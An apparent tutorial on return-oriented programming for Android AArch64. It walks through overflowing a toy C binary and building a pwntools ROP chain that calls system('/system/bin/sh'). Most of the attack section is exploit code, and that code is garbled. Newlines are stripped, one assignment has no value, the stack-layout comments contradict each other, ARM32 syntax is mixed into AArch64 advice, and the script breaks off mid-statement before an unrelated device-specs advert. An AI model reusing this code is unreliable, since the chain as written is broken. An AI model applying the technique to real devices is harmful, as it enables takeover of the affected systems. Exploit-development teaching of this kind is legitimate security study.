Introduction to Return-Oriented Programming (ROP) on Android
Exploit development on modern systems is a cat-and-mouse game. As memory corruption vulnerabilities persist, operating systems introduce increasingly sophisticated mitigations. Data Execution Prevention (DEP) or eXecute Never (NX) bit prevents code execution from data segments, while Address Space Layout Randomization (ASLR) makes it difficult to predict memory addresses. For Android userspace binaries, which often run on ARM or AArch64 architectures, Return-Oriented Programming (ROP) remains a potent technique to bypass these defenses.
This advanced tutorial will guide you through the process of developing a full ROP exploit for a hypothetical vulnerable Android userspace binary. We’ll cover environment setup, identifying vulnerable code, discovering gadgets, constructing a ROP chain, and ultimately achieving arbitrary code execution or a shell.
Prerequisites and Environment Setup
Before diving in, ensure you have the following:
- Basic understanding of CPU architecture (ARM/AArch64 assembly).
- Familiarity with exploit development concepts (stack overflows, memory layout).
- A rooted Android device or emulator (e.g., AVD, Genymotion).
- Android SDK and NDK installed.
- ADB configured for communication with your device.
- Disassembler like IDA Pro or Ghidra.
- Debugging tools: `gdb-multiarch` or `aarch64-linux-android-gdb`.
- `ROPgadget` tool installed.
First, let’s set up our cross-compilation environment using the Android NDK. Assuming you have the NDK in `~/android-ndk-r25c`, you’d set up your toolchain like this:
export NDK_ROOT=~/android-ndk-r25cexport PATH=$NDK_ROOT/toolchains/llvm/prebuilt/linux-x86_64/bin:$PATH
This ensures your system can find the necessary cross-compilation tools.
Identifying the Vulnerability: A Stack Buffer Overflow
Our target is a simple C program with a stack buffer overflow. Let’s imagine a binary compiled for AArch64 (ARM64). Consider the following vulnerable C code, `vuln_app.c`:
#include <stdio.h>#include <string.h>void vuln_function(char *input) { char buffer[64]; strcpy(buffer, input); printf("Received: %sn", buffer);}int main(int argc, char **argv) { if (argc < 2) { printf("Usage: %s <string>n", argv[0]); return 1; } vuln_function(argv[1]); printf("Program finished.n"); return 0;}
Compile this for Android ARM64:
aarch64-linux-android29-clang vuln_app.c -o vuln_app -static-pie -no-pie
The `-no-pie` flag simplifies initial exploit development by disabling Position-Independent Executables, which removes the need for an info leak to bypass PIE/ASLR on the binary itself. While modern Android enforces PIE, for a clean ROP demonstration, we’ll start here. In a real scenario, you’d target a PIE-enabled binary and rely on a memory leak to determine its base address.
Push the compiled binary to your Android device:
adb push vuln_app /data/local/tmp/adb shell chmod 755 /data/local/tmp/vuln_app
Triggering and Analyzing the Crash
Now, let’s try to crash it. We’ll send an overly long string:
adb shell /data/local/tmp/vuln_app AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
This should result in a segmentation fault. To understand what’s happening, we need to debug it using `gdbserver` and `gdb-multiarch`. First, start `gdbserver` on the Android device:
adb shell /data/local/tmp/gdbserver :1234 /data/local/tmp/vuln_app $(python -c 'print "A"*100')
Then, forward the port and connect `gdb-multiarch` from your host machine:
adb forward tcp:1234 tcp:1234gdb-multiarch -q -ex 'set arch aarch64' -ex 'target remote :1234'
Once connected, examine the registers. You should see the Program Counter (PC) or Instruction Pointer (IP) register overwritten with your ‘A’s (0x41414141…). This confirms control over the PC and thus the execution flow.
Bypassing ASLR and Finding Gadgets
Even with `-no-pie`, shared libraries like `libc.so` will be randomized. To perform a ROP attack, we need to know the base address of a module containing useful gadgets (e.g., `libc.so`). We’ll assume a practical scenario where we have an info leak (e.g., via a format string bug or out-of-bounds read) that provides the base address of a common library like `libc.so` or `linker`. For this tutorial, we will use a common trick: looking at `/proc/self/maps` *after* the process has started (assuming we’re debugging or have another way to get this info from a live process).
adb shell cat /proc/$(adb shell pidof vuln_app)/maps
Look for the base address of `libc.so`. Let’s assume it’s `0x0000007800000000` for this example. Now, we need gadgets from this library. Use `ROPgadget` on the `libc.so` file from your NDK’s sysroot (e.g., `~/android-ndk-r25c/toolchains/llvm/prebuilt/linux-x86_64/sysroot/usr/lib/aarch64-linux-android/libc.so`):
ROPgadget --binary ~/android-ndk-r25c/toolchains/llvm/prebuilt/linux-x86_64/sysroot/usr/lib/aarch64-linux-android/libc.so --dump
We’re looking for gadgets that allow us to control registers and make function calls. Key gadgets for AArch64 often include:
pop {rX, rY, ..., lr}; ret;(or similar, typically `ldr x?, [sp, #offset]; ldp x?, x?, [sp, #offset]; ret;`) to control general purpose registers.bl X;orblr X;to branch to a target address.
A common ROP strategy for a shell involves calling `system(“/system/bin/sh”)`. We need to find:
- The address of the `system()` function in `libc.so`.
- A gadget to load the string `”/system/bin/sh”` into the first argument register (X0 on AArch64).
- A gadget to call `system()`.
Let’s find the offset of `system` within `libc.so` using `nm`:
nm -D ~/android-ndk-r25c/toolchains/llvm/prebuilt/linux-x86_64/sysroot/usr/lib/aarch64-linux-android/libc.so | grep system
Suppose `system` is at offset `0x0000000000041680`. If `libc.so` loaded at `0x0000007800000000`, then `system`’s address would be `0x0000007800041680`.
Next, we need a gadget to set X0. A common pattern is `pop {xX, …, x0}; ret;` or, more commonly on AArch64, `ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp, #0x20]; add sp, sp, #0x30; ret;` where we might be able to put our value at a specific stack offset. A simpler alternative might involve a `mov x0, #IMM` or a gadget that loads a value from the stack into X0.
For simplicity, let’s look for a gadget to load `x0` and then `blr x30` (or `ret` after `ldr x30, [sp, #offset]`). A very common pattern is a gadget that sets `x0` from the stack and then `ret` (which loads PC from `x30`):
0x000445d0: ldr x0, [sp, #0x8]; ldp x29, x30, [sp, #0x10]; add sp, sp, #0x20; ret;
Let’s call this `pop_x0_gadget`. Its real address would be `libc_base + 0x445d0`.
Constructing the ROP Chain
Our goal is `system(“/system/bin/sh”)`. The string `”/system/bin/sh”` needs to be placed somewhere in memory, ideally immediately after our ROP chain on the stack. The ROP chain will then set X0 to point to this string and call `system`.
The stack layout will look something like this:
[... padding to overwrite return address ...] (offset to PC) (4-8 bytes)PC <-- ROP Chain starts here! +0x00: Address of `pop_x0_gadget` +0x08: DUMMY_VALUE (for `ldp x29, x30, [sp, #0x10]` to skip this) +0x10: Address of `"/system/bin/sh"` string on stack +0x18: Address of `system()` function +0x20: DUMMY_VALUE (for `add sp, sp, #0x20`) +0x28: ... other stack arguments ... +0xN: "/system/bin/shx00" (the string itself)
Let’s calculate the required padding. Disassemble `vuln_function` in IDA or Ghidra. You’ll find instructions like `sub sp, sp, #0x50` (allocating stack frame) and `str xX, [sp, #offset]` for `buffer`. The `strcpy` will overwrite `buffer` and eventually the saved `x30` (link register) on the stack.
A typical ARM64 stack frame for a function like `vuln_function` might look like this:
Stack Bottom (higher addresses)| ... previous stack frame ... |<-- saved x29 (FP) + x30 (LR) for vuln_function's caller| Saved x29 (FP) |<-- vuln_function's saved frame pointer| Saved x30 (LR) |<-- vuln_function's saved link register (return address)| [ buffer[64] ] |<-- vulnerable buffer| Filler (if any) || Input (exploit payload) |<-- This overflows buffer and eventually LR.Stack Top (lower addresses)
If `buffer` is `64` bytes and `x29` and `x30` are `8` bytes each, the offset from the start of `buffer` to `x30` would be `64 + 8 = 72` bytes. So, `72` bytes of ‘A’s would overwrite `x30`. The ROP chain will start at this point.
Our full payload will be:
padding = 'A' * 72libc_base = 0x0000007800000000 # Example base from /proc/mapsystem_offset = 0x00041680 # Example offset from nm_Dlibc_system_addr = libc_base + system_offsetpop_x0_gadget_offset = 0x000445d0 # Example gadget from ROPgadgetpop_x0_gadget_addr = libc_base + pop_x0_gadget_offset# The address of the string will be right after our ROP chain on the stack.shell_string = b"/system/bin/shx00"# Calculate where the string will land on the stack. # If our ROP chain is 4 QWORDS (32 bytes), and it starts at offset 72 from input start,# then the string will be at 72 + 32 = 104 bytes from input start.stack_string_addr = # This needs to be calculated dynamically or relative to the stack pointer. # A simpler approach for a demonstration is to assume a fixed stack offset # or place the string right after the ROP chain and point x0 to (PC + offset).# Let's assume the string is 4 * 8 (32 bytes) after the start of the ROP chain.rop_chain_start_offset_from_input_start = 72string_on_stack_offset_from_input_start = rop_chain_start_offset_from_input_start + 4 * 8 # assuming 4 QWORDS (32 bytes) for the ROP chain# This requires some experimentation with GDB to get the exact relative SP address.# For a simpler demonstration, assume we have a way to put the string on the stack # and then point X0 to 'SP + offset_to_string'. Let's craft the ROP chain.rop_chain = p64(pop_x0_gadget_addr) + p64(0xdeadbeef) + # Dummy for x29 (old FP) saved by the gadget p64(stack_string_addr) + # Address of "/system/bin/sh" on the stack p64(libc_system_addr) # This will be loaded into x30 (LR) by the gadget and executedpayload = padding.encode('latin-1') + rop_chain + shell_string
The `stack_string_addr` is the trickiest part as it’s dynamic. A common technique is to use a gadget like `add x0, sp, #offset` to calculate the string’s address relative to the stack pointer after some stack manipulation. For this example, we’ll simplify and say `stack_string_addr` is `current_SP_at_pop_x0_gadget_execution + 0x20` (assuming the string is placed 0x20 bytes after where the stack pointer is when `pop_x0_gadget` begins execution and `add sp, sp, #0x20` has occurred, or a similar calculation).
For a direct example using `pwn` tools:
from pwn import *context.arch = 'aarch64'# Replace with actual libc base and gadget/function offsets on your device/emulatorlibc_base = 0x0000007800000000system_offset = 0x00041680 # Example offset of system in libc.so (AArch64)pop_x0_gadget_offset = 0x000445d0 # Example: ldr x0, [sp, #0x8]; ldp x29, x30, [sp, #0x10]; add sp, sp, #0x20; ret;# Calculate absolute addresseslibc_system_addr = libc_base + system_offsetpop_x0_gadget_addr = libc_base + pop_x0_gadget_offset# Offset to overwrite LR (return address). Determined by reversing vuln_function.overflow_offset = 72 # buffer[64] + saved_x29_fp (8 bytes)# The string we want to pass to system()shell_string_data = b"/system/bin/shx00"# ROP chain construction# We need to set x0 to point to `shell_string_data`# The pop_x0_gadget:ldr x0, [sp, #0x8]; ldp x29, x30, [sp, #0x10]; add sp, sp, #0x20; ret;# When pop_x0_gadget_addr is at current SP, the stack frame will look like this:# SP + 0x00: pop_x0_gadget_addr (current PC)# SP + 0x08: Address of "/system/bin/sh" (this will be loaded into x0)# SP + 0x10: DUMMY_X29 (filler for ldp x29, x30, [sp, #0x10])# SP + 0x18: libc_system_addr (this will be loaded into x30)# SP + 0x20: next instruction / string data. Let's place the string here.# We need the address of 'shell_string_data' as it will appear on the stack. # This is `SP + 0x20` from the point where `pop_x0_gadget` is called.relative_string_addr = 0x20 # Offset from SP when pop_x0_gadget starts to the string's location# Constructing the ROP chainrop_chain = p64(pop_x0_gadget_addr) # 1. Jump to gadget to set x0 and then x30 (LR) to system()# The gadget increments SP by 0x20 bytes, so the string should be after this.rop_chain += p64(0xdeadbeef) # 2. This will be loaded into x0 by 'ldr x0, [sp, #0x8]'. # This needs to be the actual address of the string on the stack. We'll patch this.rop_chain += p64(0xdeadbeef) # 3. Dummy value for x29 (FP) saved by gadget# The gadget loads x30 from sp+0x18. So the address to jump to (system) goes here.rop_chain += p64(libc_system_addr) # 4. This will be loaded into x30 (LR) by 'ldp x29, x30, [sp, #0x10]'# Now, the 'add sp, sp, #0x20' moves SP past this. The string should follow.# The entire payloadbuffer = b'A' * overflow_offsetbuffer += rop_chainbuffer += shell_string_data# The actual address of the string on the stack at the point it's needed# This would be `start_of_buffer_on_stack + overflow_offset + len(rop_chain)`# Let's assume after the `pop_x0_gadget_addr` executes, `SP` is at `start_of_buffer_on_stack + overflow_offset`.# The string starts immediately after the `rop_chain` in our `buffer`.# So the address is `start_of_buffer_on_stack + overflow_offset + len(rop_chain)`.# This needs to be calculated by knowing the exact stack address of the buffer.# For a full exploit, you'd typically leak a stack address or use a stack pivot. # For simplicity, let's assume we can get `stack_base_address` (e.g., from /proc/self/maps stack entry).# `actual_string_address = stack_base_address + offset_to_string_in_payload`# Let's say we debugged it and found the stack address where our payload starts. # For example, `0x7fe0000000 + overflow_offset + len(rop_chain)`.string_address_on_stack = 0x7fe0000000 + overflow_offset + len(rop_chain) # Hypothetical# Now, patch the ROP chain with the actual string addressrop_chain = p64(pop_x0_gadget_addr)rop_chain += p64(string_address_on_stack) # Now correct!rop_chain += p64(0xdeadbeef) # Dummy for x29rop_chain += p64(libc_system_addr)buffer = b'A' * overflow_offsetbuffer += rop_chainbuffer += shell_string_data# Final payloadprint(f
Android Mobile Specs & Compare Directory
Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!
Compare Devices Specs →